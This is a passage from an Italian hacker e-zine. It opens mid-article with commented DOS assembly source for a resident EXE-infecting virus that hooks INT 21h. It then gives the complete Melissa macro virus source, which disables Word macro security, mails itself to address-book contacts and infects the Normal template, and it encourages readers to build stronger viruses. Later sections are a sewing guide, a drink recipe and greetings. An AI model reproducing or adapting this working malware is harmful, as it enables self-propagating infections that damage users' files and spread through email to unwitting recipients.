crucial for EXE mov ah,4ah ; | infections. push ds ; | It's one of the ways to pop es ; | make a virus go resident. int 21h ; | mov ah, 48h ; | mov bx, ((VirLen+15) / 16) ; | int 21h ; | dec ax ; | mov es, ax ; | mov word ptr es:[1], 8 ; | inc ax ; | mov es, ax ; | xor di, di ; | xor si, si ; | push ds ; | push cs ; | pop ds ; | mov cx, VirLen ; | repz movsb ; / mov ax, 2521h ; Here you grab INT 21 mov dx, offset NewInt21 push es pop ds int 21h pop ds ; This makes DS & ES go back to their original ; values push ds ; IMPORTANT! Otherwise the EXE will receive the pop es ; incorrect DE & ES values, and hang. AlreadyInMemory: mov ax, ds ; With this I set SS to the ; Header value. add ax, cs:word ptr SS_SP ; Note that I "reallocate" it ; using DS since this is the add ax, 10h ; the segment into which the mov ss, ax ; program was loaded. The +10 ; corresponds to the mov sp, cs:word ptr SS_SP+2 ; PSP. I also set SP mov ax, ds add ax, cs:word ptr CS_IP+2 ; Now I do the same with CS & add ax, 10h ; IP. I "push" them and then I ; do a retf. (?) push ax ; This makes it "jump" to that mov ax, cs:word ptr CS_IP ; position push ax retf NewInt21: cmp ax, 0BABAh ; This ensures the virus does not go jz PCheck ; resident twice. cmp ax, 4b00h ; This intercepts the "run file" function jz Infect ; jmp cs:OldInt21 ; If it is neither of these, it turns control ; back to the original INT21 so that it ; processes the call. PCheck: mov ax, 0CACAH ; This code returns the call. iret ; return. ; Here's the infection routine. Pay attention, because this is ; "IT". ; Ignore everything else if you wish, but take a good look at this. Infect: push ds ; We put the file name to be infected in DS:DX. push dx ; Which is why we must save it. pushf call cs:OldInt21 ; We call the original INT21 to run the file. push bp ; We save all the registers. mov bp, sp ; This is important in a resident routine, ;since if it isn't done, push ax ; the system will probably hang. pushf push bx push cx push dx push ds lds dx, [bp+2] ; Again we obtain the filename (from the stack) mov ax, 3d02h ; We open the file r/w int 21h xchg bx, ax mov ah, 3fh ; Here we read the first 32 bytes to memory. mov cx, 20h ; to the variable "ExeHeader" push cs pop ds mov dx, offset ExeHeader int 21h cmp ds:word ptr ExeHeader, 'ZM' ; This determines if it's a jz Continue ; "real" EXE or if it's a COM. jmp AbortInfect ; If it's a COM, don't infect. Continue: cmp ds:word ptr Checksum, 'JA' ; This is the virus's way ; of identifying itself. jnz Continue2 ; We use the Header Chksum for this jmp AbortInfect ; It's used for nothing else. If ; already infected, don't re-infect. :-) Continue2: mov ax, 4202h ; Now we go to the end of file to see of it cwd ; ends in a paragraph xor cx, cx int 21h and ax, 0fh or ax, ax jz DontAdd ; If "yes", we do nothing mov cx, 10h ; If "no", we add garbage bytes to serve as sub cx, ax ; Note that the contents of DX no longer matter mov ah, 40h ; since we don't care what we're inserting. int 21h DontAdd: mov ax, 4202h ; OK, now we get the final size, rounded cwd ; to a paragraph. xor cx, cx int 21h mov cl, 4 ; This code calculates the new CS:IP the file must shr ax, cl ; now have, as follows: mov cl, 12 ; File size: 12340H (DX=1, AX=2340H) shl dx, cl ; DX SHL 12 + AX SHR 4 = 1000H + 0234H = 1234H = CS add dx, ax ; DX now has the CS value it must have. sub dx, word ptr ds:ExeHeader+8 ; We subtract the number of ; paragraphs from the header push dx ; and save the result in the stack for later. ; <------- Do you understand why you can't infect ; EXEs larger than 1M? mov ah, 40h ; Now we write the virus to the end of the file. mov cx, VirLen ; We do this before touching the header so that cwd ; CS:IP or SS:SP of the header (kept within the ; virus code) int 21h ; contains the original value ; so that the virus installation routines work ; correctly. pop dx mov ds:SS_SP, dx ; Modify the header CS:IP so that it ; points to the virus. mov ds:CS_IP+2, dx ; Then we place a 100h stack after the mov ds:word ptr CS_IP, 0 ; virus since it will be used by ; the virus only during the installation process. Later, the ; stack changes and becomes the programs original stack. mov ds:word ptr SS_SP+2, ((VirLen+100h+1)/2)*2 ; the previous command SP to have an even value, otherwise ; TBSCAN will pick it up. mov ax, 4202h ; We obtain the new size so as to calculate the xor cx, cx ; size we must place in the header. cwd int 21h mov cx, 200h ; We calculate the following: div cx ; FileSize/512 = PAGES plus remainder inc ax ; We round upwards and save mov word ptr ds:ExeHeader+2, dx ; it in the header to mov word ptr ds:ExeHeader+4, ax ; write it later. mov word ptr ds:Checksum, 'JA'; We write the virus's ; identification mark in the ; checksum. add word ptr ds:ExeHeader+0ah, ((VirLen + 15) SHR 4)+10h ; We add the number of paragraphs to the "MinAlloc" ; to avoid memory allocation problems (we also add 10 ; paragraphs for the virus's stack. mov ax, 4200h ; Go to the start of the file cwd xor cx, cx int 21h mov ah, 40h ; and write the modified header.... mov cx, 20h mov dx, offset ExeHeader int 21h mov ah, 2 ; a little bell rings so the beginner remembers mov dl, 7 ; that the virus is in memory. IF AFTER ALL int 21h ; THIS YOU STILL INFECT YOURSELF, CUT OFF YOUR ; NUTS. AbortInfect: mov ah, 3eh ; Close the file. int 21h pop ds ; We pop the registers we pushed so as to save pop dx ; them. pop cx pop bx pop ax;flags ; This makes sure the flags are passed mov bp, sp ; correctly. Beginners can ignore this. mov [bp+12], ax pop ax pop bp add sp, 4 iret ; We return control. ; Data OldInt21 dd 0 ; Here we store the original INT 21 address. ExeHeader db 0eh DUP('H'); SS_SP dw 0, offset VirEnd+100h Checksum dw 0 CS_IP dw offset Hoste,0 dw 0,0,0,0 ; This is the EXE header. VirEnd label byte Hoste: ; This is not the virus host, rather the "false host" so that ; the file carrier runs well :-). mov ah, 9 mov dx, offset MSG push cs pop ds int 21h mov ax, 4c00h int 21h MSG db "LOOK OUT! The virus is now in memory!", 13, 10 db "And it could infect all the EXEs you run!", 13, 10 db "If you get infected, that's YOUR problem", 13, 10 db "We're not responsible for your stupidity!$" ends end -------------------- Cut Here ------------------------------------- % Conclusion % OK, that's all, folks. I tried to make this article useful for both the "profane" who are just now starting to code Vx as well as for those who have a clearer idea. Yeah, I know the beginners almost certainly didn't understand many parts of this article due the complexity of the matter, and the experts may not have understood some parts due to the incoherence and poor descriptive abilities of the writer. Well, fuck it. Still, I hope it has been useful and I expect to see many more EXE infectors from now on. A parting shot: I challenge my readers to write a virus capable of infecting an 800K EXE file (I think it's impossible). >>>>>XaRaBaS LiVeS SoMeWhErE In TiMeS<<<<< -------- Melissa Virus -------- Ciao ragazzi , sono |M4X|. Si sono io quello che su irc scassa a tutti le palle per cercare collaboratori per Newbie. Ecco ora che mi sono presentato voi naturalmente non leggerete il mio articolo ...ma visto che non c'e' niente da leggere ... vi ho fregato! Questo e' il codice sorgente del virus Melissa. Ora voi mi direte ma perche' capsi lo hai inserito? Che c'e' ne fraga a noi ? Noi abbiamo i piu' potenti antivirus del mondo ! E allora io vi dico .. anzi non vi dico niente ! :) Lo metto per tre motivi : 1) Tanti su irc mi hanno chiesto il sorg per fare delle patch anti-melissa 2) Studiatevi sto sorg per capire cosa fa il virus ... non siate lamer ! Dovete cercare di capire il procedimento di infezione di sto virus ... magari potete implementarne uno piu' potente voi ! 3) Perche' potrebbe interessare a molti //-------------------------------cut here-----------------------------------// Attribute VB_Name = "Melissa" Attribute VB_Base = "1Normal.Melissa" Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Private Sub Document_Open() On Error Resume Next If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then CommandBars("Macro").Controls("Security...").Enabled = False System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1& Else CommandBars("Tools").Controls("Macro").Enabled = False Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1) End If Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice Set UngaDasOutlook = CreateObject("Outlook.Application") Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI") If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") <> "... by Kwyjibo" Then If UngaDasOutlook = "Outlook" Then DasMapiName.Logon "profile", "password" For y = 1 To DasMapiName.AddressLists.Count Set AddyBook = DasMapiName.AddressLists(y) x = 1 Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0) For oo = 1 To AddyBook.AddressEntries.Count Peep = AddyBook.AddressEntries(x) BreakUmOffASlice.Recipients.Add Peep x = x + 1 If x > 50 Then oo = AddyBook.AddressEntries.Count Next oo BreakUmOffASlice.Subject = "Important Message From " & Application.UserName BreakUmOffASlice.Body = "Here is that document you asked for ... don't show anyone else ;-)" BreakUmOffASlice.Attachments.Add ActiveDocument.FullName BreakUmOffASlice.Send Peep = "" Next y DasMapiName.Logoff End If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") = "... by Kwyjibo" End If Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1) Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1) NTCL = NTI1.CodeModule.CountOfLines ADCL = ADI1.CodeModule.CountOfLines BGN = 2 If ADI1.Name <> "Melissa" Then If ADCL > 0 Then _ ADI1.CodeModule.DeleteLines 1, ADCL Set ToInfect = ADI1 ADI1.Name = "Melissa" DoAD = True End If If NTI1.Name <> "Melissa" Then If NTCL > 0 Then _ NTI1.CodeModule.DeleteLines 1, NTCL Set ToInfect = NTI1 NTI1.Name = "Melissa" DoNT = True End If If DoNT <> True And DoAD <> True Then GoTo CYA If DoNT = True Then Do While ADI1.CodeModule.Lines(1, 1) = "" ADI1.CodeModule.DeleteLines 1 Loop ToInfect.CodeModule.AddFromString ("Private Sub Document_Close()") Do While ADI1.CodeModule.Lines(BGN, 1) <> "" ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1) BGN = BGN + 1 Loop End If If DoAD = True Then Do While NTI1.CodeModule.Lines(1, 1) = "" NTI1.CodeModule.DeleteLines 1 Loop ToInfect.CodeModule.AddFromString ("Private Sub Document_Open()") Do While NTI1.CodeModule.Lines(BGN, 1) <> "" ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1) BGN = BGN + 1 Loop End If CYA: If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document") = False) Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then ActiveDocument.Saved = True: End If 'WORD/Melissa written by Kwyjibo 'Works in both Word 2000 and Word 97 'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide! 'Word -> Email | Word 97 <--> Word 2000 ... it's a new age! If Day(Now) = Minute(Now) Then Selection.TypeText " Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over. I'm outta here." End Sub //-------------------------------cut here-----------------------------------// Ecco, il sorgente e' finito ... naturalmente io ve lo dato ma non fate danni ! Almeno se dovete farli ... fateli a chi se li merita :) tipo : nobod.... opsssssssssssss ho sbagliato mail :)))) questo e' la mail giusta : billg@microsoft.com . Per richiesta d'aiuto,collaborazione per newbie,suggerimenti utili (e dico UTILI) citofonatemi (solo una volta .. se non rispondo allora vuol dire che sono fuori , magari ripassate piu' tardi ) a : maxpirata@hotmail.com Per critiche : billg@microsoft.com ----> rispondero' a tutte le vostre critiche! Promessa di boyscout Saluti speciali a:Nobo,Rigor,Sikkolo,Paradox,Adryana,^SimoH^,Cybermax,SmilzO, mr_bis0n,bismark,tutto il canale #cacca e quelli che ingiustamente mi sono dimenticato! Ciao a tutti i lettori di newbie da : |M4X| maxpirata@hotmail.com P.S: Se questo tipo di argomento vi e' piaciuto allora incitatemi e continuo con il Virus Code! Se non vi e' piaciuto allora ditemelo ed io ... continuo con il virus code ! eheheheh :) Scherzo, ma comunque aspetto le vostre opinioni ! D0LLs :voodo2 e voodo3...costruiamo una bambolina voodo2 By smav DISCLAIMER LEGALE: mi assumo tutte le responsabilita' di tutto quello che c'e' scritto in questo articolo, tutto quello che ho spiegato qui di seguito corrisponde a esperienze personali, non mi assumo responsabilita' se regalate la bambola alla cuginetta di 4 anni e la vostra amorevole zia vi martella chiedendovi come vi fosse venuto in mente di costruire una cosa del genere:) -.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.- Materiale: - vari pezzi di stoffa (vanno bene anche scampoli vari, chiedeteli alla zia di cui sopra) - un po' di imbottitura ignifuga(in generale si compra da un tappezziere o in una merceria ben fornita) - ago e filo di vari colori(il filo non l'ago hihihi) - forbici (magari con la punta arrotondata x non farvi male hihihih) - bottoni colorati (almeno una coppia uguale) - filo di cotone un po' + spesso (di un colore decente..servira' x fare i capelli:D) - molta fantasia (quella ci vuole sempre:) -.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.- Materiale di consumo: - mhmhm in realta' non ho ne' bevuto ne' fumato nulla perche' come qualcuno sapra' gia' io non fumo e non bevo :) cmq ho mangiato un mega pacchetto di cipster, e ho bevuto una bottiglia di coca cola:P - nel frattempo il n0bo aveva gia' fumato 4 pacchetti di Pall Mall light (le sue n0bocicche) :D -.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.- Allora!Decidete se volete fare un bambola voodo3 o voodo2. Si differenziano dal fatto che la voodo2 e' + pikkola e fuma solamente(come cilotta, l'esempio che riportero' in questo articolo), invece della voodo3 ne parlero' in un'altra occasione [curiosi eheheh]. Cominciamo!Prendete un pezzo di stoffa grande quanto il vostro palmo aperto, possibilmente bianco.Tagliatelo a forma esagonale (con 6 lati!:P) e fate un taglio che parte da ogni vertice lungo circa 3 cm.A questo punto prendete un po' di imbottitura, fatene una pallina soffice, e mettetela al centro dell'esagono di stoffa.Chiudete ogni lembo sora l'altro, e cuciteli alla fine tutti insieme...(basta cucire l'ultimo sugli altri). Ecco fatta la testa...bhe, quasi pronta^_^. Prendete un altro pezzo di stoffa, questa volta largo 4 volte il pezzo di prima, ma come se fossero 4 pezzi messi in fila. _ _ _ _ _ |_| <--pezzo x la testa |_|_|_|_| <--pezzo che useremo ora Ora girate la stoffa, e al rovescio piegatela in due (con il disegno all'interno).Cucite i due bordi a fianco, e rigirate questa specie di 'borsa' che avete cosi' creato, mettendo il disegno della stoffa fuori. Riempite ora con l'imbottitura, badando bene a non essere troppo parsimoniosi, e a non eccedere.Cucite ora il pezzo rimasto aperto, e avrete un salsicciotto che sarebbe il corpo della bambola.Unite [sempre con ago e filo] la testa al corpo...e vedrete cosi' cominciare a formarsi la vostra bambola. Prendete ora un pezzo di stoffa largo come quello della testa, ma lungo il doppio... _ _ _ |_| <--pezzo della testa |_|_| <--pezzo che useremo ora Unite le due estremita' piu' lunghe della stoffa [...immaginatevi che sia una cartina :P] cucendole insieme, sempre al contrario. Cucite anche un'estremita'. Rigirate queste specie di piccola borsa, e rimepite anche ui come con il corpo, richiudete formando un altro salsicciotto.Ripetete il procedimento anche per l'altra gamba.Per le braccia, eseguite le stesse operazioni [attenzione ai msg di errore di winzoZz..Questa bambola ha eseguito un'operazione non valida e sara' terminata..] usando xo' della stoffa piu' corta (a meno che non vogliate una bambola con delle braccia da scimmia :P). _ __ |_| <--pezzo della testa |__| <--pezzo che useremo ora Unite gambe e braccia al resto del corpo, con ago e filo.Prendete il cotone spesso e avvolgetelo sulla mano...verranno dei 'mucchietti di fili' abbastanza lunghi, decidete voi di quanto, x fare i capelli... _____pezzetto di filo che tiene gli altri fili | V ===========|============ ===========|============ Prendete tutte le matassine che avete fatto in questo modo, e attaccatele x la parte centrale (dove c'e' il pezzettino di filo che le tiene, insomma) alla testa della bambola. Ora scegliete 2 bottoni per gli occhi..solitamente 2 uguali, ma puo' essere carina anche con due diversi iihih:) .Con del filo nero cucite un punto come naso.Con un pezzo di stoffa rossa o anche solo del filo rosso, delineate la bocca, e adesso arriva il tocco finale.Prendete un pezzetto di stoffa bianca, a forma di cono tagliato. ___ / \ / \ <--pezzo che useremo ora /_______\ Fatelo grande quanto volete, ricordatevi che sara' l'unico fumo che la bambola avra' a sua disposizione, percio' siate generosi:D .Unite come avete imparato le due estremita' al contrario, e stavolta non chiudetene il fondo... rigirate il tutto, riempite di imbottitura, e colorate di nero/rosso l'ipotetico 'tizzone' eheheh:). Ora unite il tutto cucendolo alla bocca della bambolina...e il gioco e' fatto! La mia l'ho chiamata Cill0tta, voi chiamatela come vi pare...mandatemi le foto delle vostre bambole con commento a smavva@yahoo.it ...e magari ci faccio anche un sito ihihi:P Spero che l'articolo vi sia piaciuto...alla prossima! smav >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> > > > KoKACoFfEe > > > > by DarK-Elf & smavvula > > > >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> Collaborazione DarK-Elf Smavvola KOKAKOFFEE.... ovvero kome rimanere sveji per 3 ore in stato semi cosciente Conzumi vari... 2 panozzi alla nutellae nutelle... 1 siga ke mi accender al + presto... 6 ore di sonno 1 culo di bottija di kokakola sgasata 8 ore di sonno 1 culo di bottija di Acqua-2-O 1 gatto ke gira per casa {senza consumarlo troppo} 1 Adry ke chatta 1 divano per poggiare le kiappozze 2 gambe di Smavvola da usare kome kuscino meditativo 1 Sharra ke studia 10x1 to... {del DarK0} N0B0 xk ho usato il pakketto di N0bocikke kome posacenere Adry ke mi ospita a casa Devvo ke ha messo su sta Slack 7 su uno dei pc ke regnano in sto salotto Tutti i raghi dell HackIt perk sono simpaticissimi Smilzo perk je presento le Bio-Shell e lui me le fa arrossire Spirit perk ogni tanto skompare Letale Malattia perk lo konfondo sempre kon spiritello Sharra Tia xk mi coccolano ad oltranza Vini e NoneX xk hanno avuto il coraggio di provare il kokakoffee Un'anonima barista di un bar vicino al forte prenestino Xk mi ha fatto 10 kokakoffee in 3 day Mellax Melina Gotcha Anairda e Dai-Uffa {nonostante alkuni screzi} perk esistono Anairda perk mi ha fatto *dormire* sul suo parquet Pomicio perk andava in giro per kasa di Anairda in mutande Pulcino perk il pulce :) Manula e Valy perk... non so perk :) Mitika perk magari domani ci si vede... Tutte le bellissime Bio-Shell ke perdono il loro tempo a chattare kon me.. VI ADORO MA KE MINKIA E' STO KOKAKOFFEE ???? Una bevanda analkolika a base di coffee kokakola e tanta caffeina KOME KAZZ T'E' VENUTO IN MENTE STO SKIFO ???? Allora in una notte di sklero {o era un day? mika rikordo} avevo un sonno della madonna ma dovevo finire di skrivere per il day dopo una ricerka di biologia {liceo R0X}. Avevo Bisogno di stare svejo... Vado in kucina e c'era solo mezza kaffettiera da 6 {in genere me la sparo sana sana per stare svejo} Dovevo allungare un po il koffee per raggiungere il mio klassiko quantitativo di beveraggio... ed ekko nel frigo tipo visione mistica... la HOHAHOLA|!|!|!|!|!|!| KOME SI PREPARA? Fin troppo semplice... Piji na kaffettiera... ne svuoti met in uno shacker kon 5 o 6 kubetti di ghiaccio... shakeri bene... metti in un bikkierozzo da un quarto di litro aggiungi coca fink non raggiungi l'orlo del bikkiere... Skolare kon prudenza e attenzione al /dev/kardio ke in genere al primo kokakoffee va in takikardia viulenda|!| FINAL: Ora avete il diritto di insultarmi menarmi o sodomizzarmi a piacere visto ke per skrivere 6 rigozzoli di artikolo su una kosa ke kon l'hacking c'entra na sega ho skritto 50 righe di puttanate fra 10z e konsumi :) bacioni a tutti e soprattutto a Dante Devvolo e EEECccctttullluuu{alla Smavvola Maniera si pronuncia tipo uno starnuto ke finisce in uno skarakkio} Miao Todos Los Luppolos _ _ ____ _ | \ | | _____ _| __ )(_) ___ ___ | \| |/ _ \ \ /\ / / _ \| |/ _ Y __| | |\ | __/\ V V /| |_) | | __|__ \ |_| \_|\___| \_/\_/ |____/|_|\___|___/ Redattori ------------> N0bodY88-ooo & Dante Alighieri CoRedattore ----------> |M4X| E-zine by ------------> N0bodY88-ooo & Dantuzzo & |M4X| & NewBies Staff Ascii by -------------> N0bodY88-ooo & |-|15cR4zYm1nD & S0l1t4r10~M4N Loghi NewBies by -----> RigoR MorteM Articoli -------------> NewBies Staff & Friends AllDedicatedTo -------> Smav ͻ Ŀ SALUTI ٺ ͼ \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ Dante Alighieri & N0bodY88-ooo SALUTANO: (li ordino x gruppi se no faccio doppioni come nel 1 num...) tutta la HDE quindi Smav, Adry, V56, Sharra che mi hanno fatto passare i piu' bei mesi della mia vita :D :* ve voio bene bro & sisters tutti gli amici di #c.a.c.c.a in particolare smav, adry, sharra, v56, dantealig, xunil, djpulce, dark-elf, _p0nic0_, ^Sonic^, gsus, devilnet, theduke, k0ma, smilzo, \sPIRIT\, fuzzo, guf0z aka guf`l0ve, mr_bis0n, neogmc, rubrik, vaffa e tutti i bro che dimentico ;) tutti gli amici di #hollagrafix in particolare neuro, smilzo, nonex, l0rdo, vecna, ron/mk, e`m0tion, \sPIRIT\, asfalto85, black berry, bikappa, peter_And, o2, ahpook, e tutti i vari n0body85 e n0body che mi fanno pensare di cominciare a sdoppiarmi senza accorgermene ;) tutto il NewBies Staff tra cui Zerocool, Dante Alighieri, Devilnet, Harlok, Blinking, Master, Firebeam, aLT255, Quequero, +MaLaTTiA, Cod, Ritz, Johnny, Ironman, [-W|nz-], _p0nic0_, Nick1, mR_bIs0n-Mr_Skull, Rez, Avogrado, Zippy2k, Dark_elf, DeviLNeT, JohnnyRunner, Barninga Z!, rwxrw-r-x, The Intruder, XuNiL, |CyRaX|, M4VER1CK, Vejeta, F3D3R1[0, Ax1s, XaRaBaS, r3b0ot, Darkside, Lord Destruction, Vecna, Ja[3]Ck, Zinco, Vulcan,Blum, Ron|n, Urkes, SkHammer, Avatar666, ElectroRipper, Nietzsche, Spymaster, Rafcrash, ZioFill, Darkman, Ramesse, Wurzel, Fusyllo, [Akuma], Nemesis, Ghimlet, Sorrow The Prince, Meew, Fritz, Alby, Sciaman, Game, Lopks, ipLey, Killex, Neural Noise, Pusillus, Kill3xx, S2, Frensis, GCC, Alpha-666, Kalidor, Velvet, Vaffa, ~aBatha, Tetofuck, Pankrazio, McFly, Sepiroth, SoftWord, Hamelin, Brusto, Anti-social, [max], StuZzik0&|bLeaH, BlackDruiD, Z10-K41i, \JusTme\, St0rM BriNgeR, Ennaro, Mr Skull, S_A_S_H_A, Devil_666, Carnifex, KarmA_YogA, Pippo Calo' e a tutti quelli che ho dimentica to {|:D tutti gli Spippolatori ed in particolare RigoR MorteM, Master, Wurzel, Teresa Canis, X-Hacker, Harlock, Misha, ChRoMe, ADaM, Tira, F14m3r, Brigante, Fritz, Buttha, Azathoth, NighTiger, AntoMar, erGoline, SirPsychoSexy, Harlock, Jamil :), Conte Stefy Rainer, Baccoz, Hackmore, Chrome, Quequero e i suoi due simpaticcissimi amici tutti quelli di BFI ed in particolare \sPIRIT\, Black Berry, Blinking, Vanadio, Cavallo, Smaster, Belfaghor, Fusys, Nelloz, (gli ultimi 4 conosciuti allo smau e posso conferma..sono dei miti :DD) PigPen, e tutti i fratelli (ne conosco pochi) dell'orda. tutti quelli di Systemdown in particolare Ragged Robin e Infected machine tutti gli altri ed in particolare NO SPAM, Meimi, Black Baron, Fake, Zelig, Newbie 1.0, Luna, Mayhem, Maniac666, Dr_Slump, Lupo, Adriana, raul, A-SyNcHrO, BlackJAM, Linux, Nt Flander, L0rdFelix, Antirez, Awgn, Li-nux, w00w00, lo Smilzo, _hola_, Lord Guf, Li-nux, Oldiron 61, Bobo, Lando e tutti quei grandi degli Attila Hack e del Wannabe Staff, ^Acidburn, war-lock, Nyarlothe, Azim, NaiL_d0d, ]s4TsYN[, `dize`, Napo, NikDH, Jammina e Esponential Force. \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ ͻ Ŀ THIS NUMBA IS DEDICATED BY N0bodY88-ooo TO: ٺ ͼ [ smav... serve un motivo? ] [ RigoR MorteM... x esserci stato nei momenti in cui avevo bisogno di un bro] [ nedda... x tutti i crackme e i prog fatti insieme con softice e la maria..] [ avogrado... che se la smette con plauto e si da al c e' meglio :PP hihihi ] [ master... xche' parlare con lui al telefono puo' cambiarti la vita :D ] [ fake... x tutti i pomeriggi passati insieme a codare e a studiarci linux ] [ tutti i bro di mi, nonex, k0ma, elvis x le belle notti insieme ] [ black berry... x il pomeriggio a casa sua a vedere manuali e bere coca!!! ] [ mayhem... xche' un esperto di reti cosi' non credo che lo vedro' mai piu'!] [ lord destruction... che in fondo non ci lascera' mai...6 uno di noi bro...] [ dark-elf...che all'hack-it mi deve offrire 2 birre che devo allo smilzo ;)] [ \sPIRIT\... x Linguaggio Assembler Avanzato che si rivela stramegautile!! ] [ chrome...se non viene ad un altro meet x inventario lo si va a trovare noi] [ vecna...che mi sprona a migliorare e rulezza sempre di piu' su bugtraq!!! ] [ fusys...se non rilasciava l'exploit remoto di sniffit, all'hack-it ... ;) ] [ tutti quelli che rivedro' e conoscero' allo smau e al futurshow :D ] |-_-|-_-|-_-|-_-|-_-|-_-|-_-|-_-|-_-|-_-|-_-|-_-|-_-|-_-|-_-|-_-|-_-|-_-|-_-|- ͻ Ŀ THIS NUMBA IS DEDICATED BY Dante Alighieri TO: ٺ ͼ [La vita...xch mi propone sempre nuove situazioni, sempre + incasinate ] [TheDuke...xch mi st a f quasi da paparino :P ] [\sPIRIT\...xh cazzo frat..ammazza quanto dormi!! ] [I gattini trovati all'hackit (Debian, Slack, SuSE ... )...xch erano teneri!] [I loculi dell'hackit...xch di posti + zozzi ce ne sono pochi ] [I Softpj...xch molti di voi sono umili...altri meno..ma cos la vida ] [Smilzo...xch m'ha soddisfatto sessualmente ] [LOA di milano...xch siete forti!!! ] [MADDLER...xch..PORKODDIO..xch...PORKODDIO...non lo so xch PORKODDIOOOO!!!] Fine e-zine: purtroppo questa volta come le altre siamo giunti alla fine di questa e-zine. Sperando che gli articoli siano piaciuti e abbiano potuto dare una mano, uno spunto o anke solo una dritta a qualcuno di voi noi ci congediamo (io in particolare che sto scrivendo =) ehehe ) lasciandovi con un pezzo della canzone Imagine del sempremitico John Lennon... "U may say I'm a dreamer... but I'm not the only one..." In memory of our friend John Lennon N0bodY88-ooo a really really newbies and a proud member of NewBies Staff, an Spp Member and a Smav Amicicio PS: io conto di rivedervi al prox numero della e-zine...non mancate ;) PSS: x chi volesse scriverci ricordo che la mia mail e' n0body88@freemail.it e quella di dante e' dantuz@freemail.it ... chi arriva qui leggendo tutto e tutto d'un fiato vince un weekend di distruzione totale a casa di N0bodY88-ooo come la volta scorsa (ps: la volta scorsa ha vito Lord Destruction...e stavolta chi vincera'? ... sconsigliato ai deboli di cuore, agli anziani e a coloro che vivono ormai da troppo tempo in un loop infinito ... il "destruction party" si terra' anke in quest'occasione a casa mia... anke se da quando cantavamo io e lordo ubriachi marci alle 3 di mattina davanti ai ns fidi pc i miei non vogliono che frequenti piu' gli "amici di computer" a dirlo sembra na setta sadomaso =) ... hihihi scemo chi legge :P